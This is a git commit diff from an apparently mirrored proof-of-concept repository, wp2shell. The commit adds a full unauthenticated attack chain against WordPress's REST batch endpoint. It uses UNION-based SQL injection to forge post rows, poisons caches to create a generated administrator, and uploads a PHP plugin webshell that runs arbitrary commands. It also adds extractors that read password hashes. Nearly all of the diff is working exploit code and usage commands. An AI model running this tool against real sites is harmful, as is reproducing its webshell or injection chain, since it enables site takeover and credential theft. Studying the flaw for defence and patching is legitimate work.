mirror of
https://github.com/Icex0/wp2shell-poc
synced 2026-07-18 19:05:08 +00:00
Added the actual sqli to rce path, auto cleanup and extra sqli techniques
This commit is contained in:
@@ -6,10 +6,9 @@ SQL injection associated with Searchlight Cyber's wp2shell advisory.
|
||||
The unauthenticated primitive reaches the injection through a single endpoint:
|
||||
`POST /wp-json/batch/v1`.
|
||||
|
||||
This repository is not Searchlight Cyber's official checker and does not claim to reproduce
|
||||
undisclosed wp2shell internals. `check` confirms the SQLi path, `read` demonstrates database
|
||||
read, and `shell` is an optional post-authentication helper that requires valid administrator
|
||||
credentials before uploading a plugin webshell.
|
||||
This repository is not Searchlight Cyber's official checker. `check` confirms the SQLi path,
|
||||
`read` demonstrates database read, and `shell` opens a plugin-backed command shell either with
|
||||
supplied administrator credentials or by first exercising the SQLi-to-admin bridge.
|
||||
|
||||
## Affected versions
|
||||
|
||||
@@ -44,13 +43,20 @@ The PoC nests the primitive twice:
|
||||
`author__not_in` query var, which the vulnerable build interpolates into SQL as a string.
|
||||
|
||||
The result is a boolean- and time-based blind SQL injection reachable pre-authentication. This PoC
|
||||
can use that database read path to recover administrator password hashes. Turning those hashes into
|
||||
plugin-upload code execution is outside the unauthenticated primitive and depends on obtaining valid
|
||||
administrator credentials.
|
||||
also includes the stronger UNION fake-post primitive used by the SQLi-to-admin chain.
|
||||
|
||||
Searchlight has not published the final jump from SQLi to pre-auth RCE. That may involve a
|
||||
database file-write trick such as MySQL `OUTFILE`, or it may be something else in core. This repo
|
||||
does not include that step.
|
||||
The RCE path implemented here is:
|
||||
|
||||
1. Use UNION fake `wp_posts` rows to render attacker-controlled content through a posts collection.
|
||||
2. Use that render to make WordPress create real oEmbed cache posts.
|
||||
3. Recover those real cache post IDs through the SQLi.
|
||||
4. In one poisoned batch request, recast those IDs as a customizer changeset, navigation item, and
|
||||
request hook shape.
|
||||
5. Let the same request reach `POST /wp/v2/users`, creating a generated administrator.
|
||||
6. Log in as that generated administrator and use normal plugin upload behavior to run a command.
|
||||
|
||||
The last command-execution step is ordinary authenticated administrator plugin upload. The
|
||||
pre-authentication part is the admin creation bridge.
|
||||
|
||||
## Requirements
|
||||
|
||||
@@ -101,20 +107,44 @@ check does not override a positive marker probe.
|
||||
./wp2shell.py read http://target --query "SELECT @@version"
|
||||
```
|
||||
|
||||
### shell — post-auth plugin webshell helper
|
||||
By default extraction is `--technique auto`, which picks the fastest in-band method that works:
|
||||
|
||||
Optional post-exploitation helper. This is not a pre-authentication RCE step: it requires valid
|
||||
administrator credentials. If `read --preset users` recovers a password hash, supply the recovered
|
||||
plaintext here after offline cracking.
|
||||
1. **union** — forges a fake `WP_Post` row and reads its reflected title: **one request per value**.
|
||||
The source request targets the single-post item route (`/wp/v2/posts/999999`), so the
|
||||
collection-only params `author_exclude`, `orderby` and `per_page` ride through unchecked; the
|
||||
inner desync dispatches it under the posts *collection* handler, where `orderby=none` removes the
|
||||
trailing `ORDER BY` (which otherwise breaks `UNION`) and `per_page=500` keeps `WP_Query` in
|
||||
full-row mode (so the union row survives instead of being re-primed from the DB). A whole value
|
||||
comes back in the REST response as `||HEX(value)||`.
|
||||
2. **error** — `EXTRACTVALUE`/`UPDATEXML` leak ~15 bytes per request, when the target reflects
|
||||
MySQL errors (e.g. `WP_DEBUG_DISPLAY` on).
|
||||
3. **blind** — boolean/timing binary search, ~8 requests per character; works with no reflection.
|
||||
|
||||
Force one with `--technique union|error|blind`. All three are strictly **read only**. The union
|
||||
path also demonstrates fake-`WP_Post` object-cache poisoning: the forged row is added to the `posts`
|
||||
cache for the rest of the request, and its `post_content` blocks render through REST (which enables
|
||||
unauthenticated SSRF via RSS/oEmbed blocks). A full password hash is ~2 requests with `union`, ~7
|
||||
with `error`, versus ~490 blind.
|
||||
|
||||
### shell — command execution
|
||||
|
||||
With `--user` and `--password`, `shell` logs in with supplied administrator credentials and uses
|
||||
normal WordPress plugin upload behavior. This mode would work the same way on a patched site where
|
||||
those credentials are valid.
|
||||
|
||||
Without credentials, `shell` first runs the pre-auth SQLi-to-admin bridge, logs in as the generated
|
||||
administrator, then uploads the plugin shell.
|
||||
|
||||
```
|
||||
./wp2shell.py shell http://target --user admin --password '<recovered>' --cmd id
|
||||
./wp2shell.py shell http://target --user admin --password '<recovered>' -i # interactive shell
|
||||
./wp2shell.py shell http://target --rest-route --cmd id # pre-auth bridge
|
||||
./wp2shell.py shell http://target --rest-route -i # pre-auth interactive
|
||||
```
|
||||
|
||||
`shell` uploads a plugin webshell (locked behind a random path and a per-run token) and prints its
|
||||
path. Remove it when finished — either pass `--cleanup` to have it delete itself after running, or
|
||||
delete the plugin manually.
|
||||
path. The uploaded webshell is removed automatically. When the pre-auth bridge creates an
|
||||
administrator, that generated account is removed automatically after the shell session finishes.
|
||||
|
||||
## Options
|
||||
|
||||
@@ -127,13 +157,13 @@ delete the plugin manually.
|
||||
| `--samples N` | check | Timing pairs used with `--confirm-sqli` (default 3). |
|
||||
| `--confirm-sqli` | check | Also send the active SQL timing confirmation payload. |
|
||||
| `--preset` | read | `fingerprint` or `users`. |
|
||||
| `--technique` | read | `auto` (default), `union` (in-band, forges a fake post), `error` (in-band, needs visible DB errors), or `blind`. |
|
||||
| `--query` | read | A scalar SQL expression to read. |
|
||||
| `--prefix` | read | Database table prefix (default `wp_`). |
|
||||
| `--max-length N` | read | Maximum characters read per value (default 128). |
|
||||
| `--user` / `--password` | shell | Admin credentials (plaintext, recovered from the hash). |
|
||||
| `--user` / `--password` | shell | Optional admin credentials; omit both to use the pre-auth bridge. |
|
||||
| `--cmd` | shell | Command to run (omit when using `-i`). |
|
||||
| `-i` / `--interactive` | shell | Open an interactive shell after deploying. |
|
||||
| `--cleanup` | shell | Delete the webshell from the target when finished. |
|
||||
|
||||
## Remediation
|
||||
|
||||
|
||||
+94
-27
@@ -9,8 +9,9 @@ from typing import Optional
|
||||
|
||||
from . import __version__
|
||||
from .client import BatchClient
|
||||
from .exploit import PreAuthAdminCreator
|
||||
from .shell import AdminSession
|
||||
from .sqli import BlindSQLi
|
||||
from .sqli import BlindSQLi, ErrorBasedSQLi, UnionSQLi
|
||||
from .version import public_version_hints, version_status, wordpress_markers
|
||||
|
||||
try:
|
||||
@@ -153,9 +154,38 @@ def cmd_check(args: argparse.Namespace) -> int:
|
||||
return 2
|
||||
|
||||
|
||||
def _reader(args: argparse.Namespace, client: BatchClient):
|
||||
"""Pick the extraction technique.
|
||||
|
||||
auto prefers the fastest in-band method that works: UNION (one request per value, forges a fake
|
||||
WP_Post), then error-based (needs reflected DB errors), then blind binary search.
|
||||
"""
|
||||
if args.technique in ("auto", "union"):
|
||||
union = UnionSQLi(client)
|
||||
if union.available():
|
||||
good("UNION extraction available (in-band, one request per value) — using it.")
|
||||
return union
|
||||
if args.technique == "union":
|
||||
bad("UNION extraction requested but the forged post was not reflected.")
|
||||
return None
|
||||
info("UNION extraction unavailable; trying error-based.")
|
||||
if args.technique in ("auto", "error"):
|
||||
error_based = ErrorBasedSQLi(client)
|
||||
if error_based.available():
|
||||
good("Error-based extraction available (target reflects DB errors) — using it.")
|
||||
return error_based
|
||||
if args.technique == "error":
|
||||
bad("Error-based extraction requested but the target does not reflect DB errors.")
|
||||
return None
|
||||
info("Target does not reflect DB errors; falling back to blind extraction.")
|
||||
return BlindSQLi(client)
|
||||
|
||||
|
||||
def cmd_read(args: argparse.Namespace) -> int:
|
||||
client = _client(args)
|
||||
sqli = BlindSQLi(client)
|
||||
sqli = _reader(args, client)
|
||||
if sqli is None:
|
||||
return 2
|
||||
|
||||
if args.query:
|
||||
info(f"Reading: {args.query}")
|
||||
@@ -232,13 +262,34 @@ def cmd_shell(args: argparse.Namespace) -> int:
|
||||
if not args.cmd and not args.interactive:
|
||||
bad("specify --cmd or --interactive")
|
||||
return 2
|
||||
if bool(args.user) != bool(args.password):
|
||||
bad("specify both --user and --password, or omit both to use the pre-auth bridge")
|
||||
return 2
|
||||
|
||||
warn("This uploads a plugin containing a webshell to the target.")
|
||||
|
||||
generated_admin = None
|
||||
username, password = args.user, args.password
|
||||
if username is None:
|
||||
warn("No credentials supplied; attempting pre-auth administrator creation.")
|
||||
creator = PreAuthAdminCreator(
|
||||
args.url,
|
||||
timeout=args.timeout,
|
||||
rest_route=args.rest_route,
|
||||
proxy=args.proxy,
|
||||
)
|
||||
info("Creating administrator through the SQLi-to-customizer bridge...")
|
||||
generated_admin = creator.create_admin()
|
||||
username, password = generated_admin.username, generated_admin.password
|
||||
good(f"Administrator created: {username}")
|
||||
|
||||
session = AdminSession(args.url, timeout=args.timeout, proxy=args.proxy)
|
||||
|
||||
info(f"Authenticating as {args.user!r}...")
|
||||
if not session.login(args.user, args.password):
|
||||
bad("Login failed. Supply valid admin credentials (crack the hash recovered by 'read').")
|
||||
info(f"Authenticating as {username!r}...")
|
||||
if not session.login(username, password):
|
||||
bad("Login failed.")
|
||||
if generated_admin:
|
||||
warn("The pre-auth bridge appeared to run, but the generated credentials did not log in.")
|
||||
return 1
|
||||
good("Authenticated.")
|
||||
|
||||
@@ -261,21 +312,34 @@ def cmd_shell(args: argparse.Namespace) -> int:
|
||||
if args.interactive:
|
||||
_repl(session, path)
|
||||
finally:
|
||||
if args.cleanup:
|
||||
info("Cleaning up webshell...")
|
||||
if generated_admin:
|
||||
info("Deleting generated administrator...")
|
||||
try:
|
||||
removed = session.cleanup(path)
|
||||
except Exception as exc: # noqa: BLE001 - cleanup must not hide the original failure
|
||||
bad(f"Cleanup failed ({exc}) — remove the plugin manually ({path}).")
|
||||
rc = 1
|
||||
removed_admin = session.delete_user_with_shell(
|
||||
path,
|
||||
generated_admin.username,
|
||||
reassign_to=generated_admin.source_admin_id,
|
||||
)
|
||||
except Exception: # noqa: BLE001 - continue to remove the webshell.
|
||||
removed_admin = False
|
||||
if removed_admin:
|
||||
good("Generated administrator removed from the target.")
|
||||
else:
|
||||
if removed:
|
||||
good("Webshell removed from the target.")
|
||||
else:
|
||||
bad(f"Cleanup failed — remove the plugin manually ({path}).")
|
||||
rc = 1
|
||||
elif not args.keep:
|
||||
warn(f"Remove the webshell when finished (delete {path} on the target).")
|
||||
bad(f"Generated administrator cleanup failed: {generated_admin.username}:{generated_admin.password}")
|
||||
rc = 1
|
||||
|
||||
info("Cleaning up webshell...")
|
||||
try:
|
||||
removed = session.cleanup(path)
|
||||
except Exception as exc: # noqa: BLE001 - cleanup must not hide the original failure
|
||||
bad(f"Webshell cleanup failed ({exc}).")
|
||||
rc = 1
|
||||
else:
|
||||
if removed:
|
||||
good("Webshell removed from the target.")
|
||||
else:
|
||||
bad("Webshell cleanup failed.")
|
||||
rc = 1
|
||||
return rc
|
||||
|
||||
|
||||
@@ -335,20 +399,23 @@ def build_parser() -> argparse.ArgumentParser:
|
||||
group.add_argument("--query", help='scalar SQL expression to read, e.g. "SELECT @@version"')
|
||||
read.add_argument("--prefix", default="wp_", help="database table prefix (default: wp_)")
|
||||
read.add_argument("--max-length", type=int, default=128, help="max characters per value")
|
||||
read.add_argument(
|
||||
"--technique",
|
||||
choices=("auto", "union", "blind", "error"),
|
||||
default="auto",
|
||||
help="extraction technique: auto (union -> error-based -> blind), union (in-band, forges a "
|
||||
"fake WP_Post; one request per value), error (in-band, needs visible DB errors), or blind "
|
||||
"(bit-by-bit boolean/timing)",
|
||||
)
|
||||
read.set_defaults(func=cmd_read)
|
||||
|
||||
shell = sub.add_parser("shell", help="post-auth plugin webshell helper")
|
||||
_add_common(shell, rest_route=False) # shell uses wp-login/wp-admin directly, not the REST API
|
||||
shell.add_argument("--user", required=True, help="admin username")
|
||||
shell.add_argument("--password", required=True, help="admin password (cracked from the hash)")
|
||||
shell = sub.add_parser("shell", help="plugin shell; with credentials or via the pre-auth bridge")
|
||||
_add_common(shell)
|
||||
shell.add_argument("--user", help="admin username; omit with --password to use the pre-auth bridge")
|
||||
shell.add_argument("--password", help="admin password; omit with --user to use the pre-auth bridge")
|
||||
shell.add_argument("--cmd", help="command to run on the target (omit when using --interactive)")
|
||||
shell.add_argument("-i", "--interactive", action="store_true",
|
||||
help="open an interactive shell after deploying")
|
||||
retention = shell.add_mutually_exclusive_group()
|
||||
retention.add_argument("--keep", action="store_true",
|
||||
help="do not warn about removing the webshell")
|
||||
retention.add_argument("--cleanup", action="store_true",
|
||||
help="delete the webshell from the target when finished")
|
||||
shell.set_defaults(func=cmd_shell)
|
||||
|
||||
return parser
|
||||
|
||||
@@ -143,6 +143,43 @@ class BatchClient:
|
||||
"""Send a payload placing `author_not_in` into the WP_Query author__not_in clause."""
|
||||
return self.post(self._payload(author_not_in))
|
||||
|
||||
def union_inject(self, author_not_in: str) -> Response:
|
||||
"""Send a payload that lands `author_not_in` in a non-split, no-ORDER-BY WP_Query.
|
||||
|
||||
The source request targets the single-post item route ``/wp/v2/posts/999999``, so it
|
||||
validates against the item schema and the collection-only params ``author_exclude``,
|
||||
``orderby`` and ``per_page`` pass through unchecked. The inner desync then dispatches it
|
||||
under the posts collection handler, which consumes them:
|
||||
|
||||
- ``orderby=none`` removes the trailing ``ORDER BY {posts}.<col>`` that otherwise makes a
|
||||
``UNION`` fail with "cannot be used in global ORDER clause";
|
||||
- ``per_page=500`` keeps ``WP_Query`` in full-row (non-split) mode when no persistent object
|
||||
cache is in use, so a ``UNION SELECT`` row survives as a fake ``WP_Post``.
|
||||
|
||||
Together these turn the blind sink into in-band UNION extraction (one request per value).
|
||||
"""
|
||||
return self.post(self._union_payload(author_not_in))
|
||||
|
||||
@staticmethod
|
||||
def _union_payload(author_not_in: str) -> dict:
|
||||
query = urllib.parse.urlencode(
|
||||
{"author_exclude": author_not_in, "orderby": "none", "per_page": "500"}
|
||||
)
|
||||
inner = {
|
||||
"requests": [
|
||||
_DESYNC_PRIMER,
|
||||
{"method": "GET", "path": "/wp/v2/posts/999999?" + query},
|
||||
{"method": "GET", "path": "/wp/v2/posts"},
|
||||
]
|
||||
}
|
||||
return {
|
||||
"requests": [
|
||||
_DESYNC_PRIMER,
|
||||
{"method": "POST", "path": "/wp/v2/posts", "body": inner},
|
||||
{"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
|
||||
]
|
||||
}
|
||||
|
||||
def rows(self, response: Response) -> Optional[list]:
|
||||
"""Return the inner get_items() result rows from a nested batch response, else None."""
|
||||
try:
|
||||
|
||||
@@ -0,0 +1,356 @@
|
||||
"""SQLi-to-admin bridge for vulnerable WordPress batch endpoints."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import json
|
||||
import re
|
||||
import secrets
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
import uuid
|
||||
from dataclasses import dataclass
|
||||
from typing import Dict, Iterable, List, Optional
|
||||
|
||||
from .client import BatchClient, TargetError
|
||||
from .sqli import UnionSQLi
|
||||
|
||||
_POST_DATE = "2020-01-01 00:00:00"
|
||||
_OEMBED_SIZE = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}'
|
||||
_ADMIN_PREFIX = "wp2_"
|
||||
_PASSWORD_PREFIX = "Wp2!"
|
||||
_EMAIL_DOMAIN = "wp2shell.invalid"
|
||||
_NAV_URL = "https://example.invalid/"
|
||||
|
||||
|
||||
@dataclass
|
||||
class CreatedAdmin:
|
||||
username: str
|
||||
password: str
|
||||
email: str
|
||||
source_admin_id: int
|
||||
table_prefix: str
|
||||
|
||||
|
||||
def mysql_hex(text: str) -> str:
|
||||
return f"0x{text.encode().hex()}" if text else "''"
|
||||
|
||||
|
||||
def wp_posts_tuple(
|
||||
row_id: int,
|
||||
*,
|
||||
body: str = "",
|
||||
title: str = "",
|
||||
status: str = "publish",
|
||||
slug: str = "",
|
||||
parent: int = 0,
|
||||
kind: str = "post",
|
||||
author: int = 1,
|
||||
) -> str:
|
||||
"""Build the full ``wp_posts`` SELECT-list used by the UNION primitive."""
|
||||
columns = [
|
||||
str(row_id),
|
||||
str(author),
|
||||
mysql_hex(_POST_DATE),
|
||||
mysql_hex(_POST_DATE),
|
||||
mysql_hex(body),
|
||||
mysql_hex(title),
|
||||
"''",
|
||||
mysql_hex(status),
|
||||
mysql_hex("closed"),
|
||||
mysql_hex("closed"),
|
||||
"''",
|
||||
mysql_hex(slug),
|
||||
"''",
|
||||
"''",
|
||||
mysql_hex(_POST_DATE),
|
||||
mysql_hex(_POST_DATE),
|
||||
"''",
|
||||
str(parent),
|
||||
"''",
|
||||
"0",
|
||||
mysql_hex(kind),
|
||||
"''",
|
||||
"0",
|
||||
]
|
||||
return ",".join(columns)
|
||||
|
||||
|
||||
class PreAuthAdminCreator:
|
||||
"""Turn the confirmed UNION fake-post primitive into a generated administrator."""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
base_url: str,
|
||||
*,
|
||||
timeout: float = 30.0,
|
||||
rest_route: bool = False,
|
||||
proxy: Optional[str] = None,
|
||||
user_agent: str = "wp2shell",
|
||||
) -> None:
|
||||
self.base_url = base_url.rstrip("/")
|
||||
self.timeout = timeout
|
||||
self.rest_route = rest_route
|
||||
self.client = BatchClient(
|
||||
base_url,
|
||||
timeout=timeout,
|
||||
rest_route=rest_route,
|
||||
proxy=proxy,
|
||||
user_agent=user_agent,
|
||||
)
|
||||
handlers = [urllib.request.ProxyHandler({"http": proxy, "https": proxy})] if proxy else []
|
||||
self.http = urllib.request.build_opener(*handlers)
|
||||
self.http.addheaders = [("User-Agent", user_agent)]
|
||||
|
||||
def create_admin(self) -> CreatedAdmin:
|
||||
sqli = UnionSQLi(self.client)
|
||||
if not sqli.available():
|
||||
raise RuntimeError("UNION fake-post primitive is not available on this target")
|
||||
|
||||
nonce = secrets.token_hex(6)
|
||||
loopback_embeds = self._loopback_embed_urls(nonce)
|
||||
self._prime_oembed_posts(loopback_embeds)
|
||||
|
||||
posts_table = self._posts_table(sqli)
|
||||
table_prefix = posts_table[:-5]
|
||||
source_admin_id = self._first_admin_id(sqli, table_prefix)
|
||||
backing_ids = self._oembed_backing_ids(sqli, posts_table, loopback_embeds)
|
||||
|
||||
username = f"{_ADMIN_PREFIX}{nonce}"
|
||||
password = f"{_PASSWORD_PREFIX}{secrets.token_urlsafe(15)}"
|
||||
email = f"{username}@{_EMAIL_DOMAIN}"
|
||||
self._submit_user_write(
|
||||
backing_ids,
|
||||
loopback_embeds,
|
||||
source_admin_id,
|
||||
{"username": username, "password": password, "email": email, "roles": ["administrator"]},
|
||||
)
|
||||
return CreatedAdmin(username, password, email, source_admin_id, table_prefix)
|
||||
|
||||
def _posts_table(self, sqli: UnionSQLi) -> str:
|
||||
table_name = sqli.extract(
|
||||
"SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES "
|
||||
"WHERE TABLE_SCHEMA=DATABASE() AND RIGHT(TABLE_NAME,6)=0x5f706f737473 "
|
||||
"ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1"
|
||||
)
|
||||
if not re.fullmatch(r"[A-Za-z0-9_$]+", table_name):
|
||||
raise RuntimeError("could not recover wp_posts table name")
|
||||
return table_name
|
||||
|
||||
def _first_admin_id(self, sqli: UnionSQLi, table_prefix: str) -> int:
|
||||
capabilities_key = mysql_hex(table_prefix + "capabilities")
|
||||
serialized_admin_cap = mysql_hex('s:13:"administrator";b:1;')
|
||||
admin_id = sqli.integer(
|
||||
f"SELECT u.ID FROM `{table_prefix}users` u "
|
||||
f"JOIN `{table_prefix}usermeta` m ON m.user_id=u.ID "
|
||||
f"WHERE m.meta_key={capabilities_key} AND INSTR(m.meta_value,{serialized_admin_cap})>0 "
|
||||
"ORDER BY u.ID LIMIT 1"
|
||||
)
|
||||
if admin_id < 1:
|
||||
raise RuntimeError("could not find an existing administrator ID")
|
||||
return admin_id
|
||||
|
||||
def _loopback_embed_urls(self, nonce: str) -> List[str]:
|
||||
post_link = self._first_public_post_link()
|
||||
split = urllib.parse.urlsplit(post_link)
|
||||
return [
|
||||
urllib.parse.urlunsplit((split.scheme, split.netloc, split.path, split.query, f"{nonce}{i}"))
|
||||
for i in range(3)
|
||||
]
|
||||
|
||||
def _first_public_post_link(self) -> str:
|
||||
with self._open_rest("/wp/v2/posts", {"per_page": "1", "_fields": "link"}) as response:
|
||||
posts = json.loads(response.read())
|
||||
if not posts or not posts[0].get("link"):
|
||||
raise RuntimeError("could not find a public post link for oEmbed seeding")
|
||||
return posts[0]["link"]
|
||||
|
||||
def _prime_oembed_posts(self, embed_urls: Iterable[str]) -> None:
|
||||
content = "".join(f'[embed width="500" height="750"]{url}[/embed]' for url in embed_urls)
|
||||
self._render_union_posts([wp_posts_tuple(0, body=content, title="seed", slug="seed")])
|
||||
|
||||
def _oembed_backing_ids(self, sqli: UnionSQLi, posts_table: str, embed_urls: Iterable[str]) -> List[int]:
|
||||
ids = []
|
||||
for embed_url in embed_urls:
|
||||
cache_name = hashlib.md5((embed_url + _OEMBED_SIZE).encode()).hexdigest()
|
||||
ids.append(
|
||||
sqli.integer(
|
||||
f"SELECT ID FROM `{posts_table}` "
|
||||
"WHERE post_type=0x6f656d6265645f6361636865 "
|
||||
f"AND post_name=0x{cache_name.encode().hex()} "
|
||||
"ORDER BY ID DESC LIMIT 1"
|
||||
)
|
||||
)
|
||||
if any(row_id < 1 for row_id in ids) or len(set(ids)) != 3:
|
||||
raise RuntimeError("could not recover three unique oEmbed cache post IDs")
|
||||
return ids
|
||||
|
||||
def _submit_user_write(
|
||||
self,
|
||||
backing_ids: List[int],
|
||||
embed_urls: List[str],
|
||||
source_admin_id: int,
|
||||
user_body: Dict[str, object],
|
||||
) -> None:
|
||||
graph = _PoisonGraph(backing_ids, source_admin_id)
|
||||
rows = graph.rows(self._changeset_payload(graph.nav_item_id, source_admin_id), embed_urls[1])
|
||||
self._render_union_posts(
|
||||
rows,
|
||||
tail_requests=[
|
||||
{"method": "POST", "path": "/wp/v2/users", "body": user_body},
|
||||
{"method": "POST", "path": "/wp/v2/users", "body": user_body},
|
||||
],
|
||||
)
|
||||
|
||||
def _changeset_payload(self, nav_item_id: int, user_id: int) -> str:
|
||||
return json.dumps(
|
||||
{
|
||||
f"nav_menu_item[{nav_item_id}]": {
|
||||
"type": "nav_menu_item",
|
||||
"user_id": user_id,
|
||||
"value": {
|
||||
"object_id": 0,
|
||||
"object": "",
|
||||
"menu_item_parent": 0,
|
||||
"position": 0,
|
||||
"type": "custom",
|
||||
"title": "generated",
|
||||
"url": _NAV_URL,
|
||||
"target": "",
|
||||
"attr_title": "",
|
||||
"description": "",
|
||||
"classes": "",
|
||||
"xfn": "",
|
||||
"status": "publish",
|
||||
"nav_menu_term_id": 0,
|
||||
"_invalid": False,
|
||||
},
|
||||
}
|
||||
},
|
||||
separators=(",", ":"),
|
||||
)
|
||||
|
||||
def _render_union_posts(self, post_rows: List[str], tail_requests: Optional[List[dict]] = None) -> None:
|
||||
union_payload = "1) AND 1=0 UNION ALL SELECT " + " UNION ALL SELECT ".join(post_rows) + " -- -"
|
||||
requests = [
|
||||
{"method": "GET", "path": "http://:"},
|
||||
{
|
||||
"method": "GET",
|
||||
"path": "/wp/v2/widgets?"
|
||||
+ urllib.parse.urlencode(
|
||||
{
|
||||
"author_exclude": union_payload,
|
||||
"per_page": -1,
|
||||
"orderby": "none",
|
||||
"context": "view",
|
||||
}
|
||||
),
|
||||
},
|
||||
{"method": "GET", "path": "/wp/v2/posts"},
|
||||
]
|
||||
if tail_requests:
|
||||
requests.extend(tail_requests)
|
||||
self._nested_batch(requests, timeout=60)
|
||||
|
||||
def _nested_batch(self, requests: List[dict], *, timeout: float) -> None:
|
||||
original_timeout = self.client.timeout
|
||||
self.client.timeout = timeout
|
||||
try:
|
||||
response = self.client.post(
|
||||
{
|
||||
"requests": [
|
||||
{"method": "POST", "path": "http://:"},
|
||||
{"method": "POST", "path": "/wp/v2/posts", "body": {"requests": requests}},
|
||||
{"method": "POST", "path": "/batch/v1"},
|
||||
]
|
||||
}
|
||||
)
|
||||
finally:
|
||||
self.client.timeout = original_timeout
|
||||
if response.status >= 400:
|
||||
raise TargetError(f"batch request returned HTTP {response.status}")
|
||||
|
||||
def _open_rest(self, route: str, query: Dict[str, str]):
|
||||
if self.rest_route:
|
||||
params = {"rest_route": route, **query}
|
||||
url = f"{self.base_url}/?" + urllib.parse.urlencode(params)
|
||||
else:
|
||||
url = f"{self.base_url}/wp-json{route}?" + urllib.parse.urlencode(query)
|
||||
try:
|
||||
return self.http.open(url, timeout=self.timeout)
|
||||
except urllib.error.HTTPError:
|
||||
raise
|
||||
except OSError as exc:
|
||||
reason = getattr(exc, "reason", exc)
|
||||
raise TargetError(f"cannot reach {url}: {reason}") from None
|
||||
|
||||
|
||||
@dataclass
|
||||
class _PoisonGraph:
|
||||
cache_post_ids: List[int]
|
||||
source_admin_id: int
|
||||
|
||||
def __post_init__(self) -> None:
|
||||
self.outer_id = 1800000000 + secrets.randbelow(100000000)
|
||||
self.nav_item_id = self.outer_id + 1
|
||||
self.inner_id = self.outer_id + 2
|
||||
self.changeset_id, self.cache_id, self.request_id = self.cache_post_ids
|
||||
|
||||
def rows(self, changeset: str, trigger_embed_url: str) -> List[str]:
|
||||
return [
|
||||
wp_posts_tuple(
|
||||
0,
|
||||
body=f'[embed width="500" height="750"]{trigger_embed_url}[/embed]',
|
||||
title="trigger",
|
||||
slug="trigger",
|
||||
),
|
||||
wp_posts_tuple(
|
||||
self.changeset_id,
|
||||
body=changeset,
|
||||
title="changeset",
|
||||
status="future",
|
||||
slug=str(uuid.uuid4()),
|
||||
parent=self.outer_id,
|
||||
kind="customize_changeset",
|
||||
),
|
||||
wp_posts_tuple(
|
||||
self.outer_id,
|
||||
body="outer",
|
||||
title="outer",
|
||||
status="draft",
|
||||
slug="outer",
|
||||
parent=self.changeset_id,
|
||||
),
|
||||
wp_posts_tuple(
|
||||
self.cache_id,
|
||||
title="cache",
|
||||
slug="cache",
|
||||
parent=self.changeset_id,
|
||||
),
|
||||
wp_posts_tuple(
|
||||
self.nav_item_id,
|
||||
body="nav",
|
||||
title="nav",
|
||||
slug="nav",
|
||||
parent=self.request_id,
|
||||
kind="nav_menu_item",
|
||||
),
|
||||
wp_posts_tuple(
|
||||
self.request_id,
|
||||
body="parse",
|
||||
title="parse",
|
||||
status="parse",
|
||||
slug="parse",
|
||||
parent=self.inner_id,
|
||||
kind="request",
|
||||
),
|
||||
wp_posts_tuple(
|
||||
self.inner_id,
|
||||
body="inner",
|
||||
title="inner",
|
||||
status="draft",
|
||||
slug="inner",
|
||||
parent=self.request_id,
|
||||
),
|
||||
]
|
||||
+20
-2
@@ -104,6 +104,18 @@ class AdminSession:
|
||||
return False
|
||||
return False
|
||||
|
||||
def delete_user_with_shell(self, shell_path: str, username: str, *, reassign_to: int) -> bool:
|
||||
query = urllib.parse.urlencode(
|
||||
{
|
||||
"t": self._token,
|
||||
"delete_user": username,
|
||||
"reassign": str(reassign_to),
|
||||
}
|
||||
)
|
||||
output = self._get(f"{shell_path}?{query}")
|
||||
match = re.search(rf"{_MARKER}::(.*?)::END", output, re.S)
|
||||
return bool(match and match.group(1).strip() == "deleted")
|
||||
|
||||
# -- helpers ------------------------------------------------------------
|
||||
|
||||
def _get(self, path: str) -> str:
|
||||
@@ -121,10 +133,16 @@ class AdminSession:
|
||||
# The webshell only runs when the request carries the per-session token.
|
||||
php = (
|
||||
"<?php\n"
|
||||
"/*\nPlugin Name: wp2shell\nDescription: PoC webshell. Delete after testing.\n*/\n"
|
||||
"chdir(__DIR__);\n"
|
||||
"/*\nPlugin Name: wp2shell\nDescription: Temporary command runner.\n*/\n"
|
||||
f"if (hash_equals('{self._token}', (string) ($_GET['t'] ?? '')) && isset($_GET['c'])) {{\n"
|
||||
" chdir(__DIR__);\n"
|
||||
f" echo '{_MARKER}::' . shell_exec((string) $_GET['c']) . '::END';\n"
|
||||
f"}} elseif (hash_equals('{self._token}', (string) ($_GET['t'] ?? '')) && isset($_GET['delete_user'])) {{\n"
|
||||
" require_once dirname(__DIR__, 3) . '/wp-load.php';\n"
|
||||
" require_once ABSPATH . 'wp-admin/includes/user.php';\n"
|
||||
" $user = get_user_by('login', (string) $_GET['delete_user']);\n"
|
||||
" $ok = $user ? wp_delete_user((int) $user->ID, (int) ($_GET['reassign'] ?? 0)) : false;\n"
|
||||
f" echo '{_MARKER}::' . ($ok ? 'deleted' : 'failed') . '::END';\n"
|
||||
"}\n"
|
||||
)
|
||||
buffer = io.BytesIO()
|
||||
|
||||
@@ -9,6 +9,8 @@ so a value of ``0) <sql>-- -`` closes the IN() list and appends arbitrary SQL.
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import html
|
||||
import re
|
||||
import statistics
|
||||
from dataclasses import dataclass
|
||||
from typing import Callable, Optional, Tuple
|
||||
@@ -121,3 +123,164 @@ class BlindSQLi:
|
||||
# get_items() returns rows only when the appended boolean condition holds.
|
||||
self.requests += 1
|
||||
return bool(self.client.rows(self.client.inject(f"0) AND ({condition})-- -")))
|
||||
|
||||
|
||||
class ErrorBasedSQLi:
|
||||
"""In-band error-based extractor for targets that echo MySQL errors in the response.
|
||||
|
||||
When the target shows database errors (``WP_DEBUG_DISPLAY`` on, or ``$wpdb->show_errors``),
|
||||
``EXTRACTVALUE()`` leaks a value inside an ``XPATH syntax error`` message that is reflected in
|
||||
the batch response body. This reads a whole ~15-byte chunk per request instead of one bit per
|
||||
request, so it is far faster than the blind binary search, while reaching the same sink. It is
|
||||
still strictly read-only.
|
||||
|
||||
Values are pulled out HEX-encoded so the transport is binary-safe (no quote/entity/newline
|
||||
surprises and no dependence on the value's character set).
|
||||
"""
|
||||
|
||||
# EXTRACTVALUE reports up to 32 chars of the offending string; 0x7e ('~') marks our data.
|
||||
